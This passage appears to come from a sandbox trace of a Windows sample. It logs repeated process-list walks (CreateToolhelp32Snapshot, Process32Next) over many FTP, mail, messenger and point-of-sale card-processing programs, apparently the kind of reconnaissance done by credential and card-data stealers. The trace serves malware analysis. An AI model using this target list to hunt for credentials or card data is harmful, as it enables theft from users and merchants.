th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0214.767] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0214.770] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0214.771] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0214.773] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0214.775] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0214.777] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0214.778] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0214.781] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0214.783] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0214.784] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0214.786] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0214.788] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0214.790] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0214.792] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0214.794] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0214.795] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0214.797] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0214.799] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0214.801] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0214.803] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0214.805] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0214.807] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0214.810] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0214.812] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0214.815] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0214.817] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0214.819] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0214.821] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0214.823] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0214.825] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0214.827] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0214.835] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0214.838] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0214.842] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0214.910] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0214.912] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0214.914] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0214.916] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0214.918] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0214.924] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0214.926] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0214.928] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0214.930] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0214.932] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0214.934] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0214.940] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0214.942] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0214.944] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0214.946] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0214.948] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0214.951] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0214.953] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0214.956] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0214.958] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0214.960] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0214.962] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0214.964] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0214.966] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0214.968] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0214.970] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.972] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0214.974] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0214.976] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.978] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0214.979] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0214.993] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0214.995] CloseHandle (hObject=0x11c8) returned 1 [0214.995] Sleep (dwMilliseconds=0x64) [0214.997] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0215.015] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.017] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.019] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.021] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.023] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.025] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.026] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0215.028] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0215.030] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0215.111] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.113] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.114] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0215.116] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.119] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.121] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.122] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, 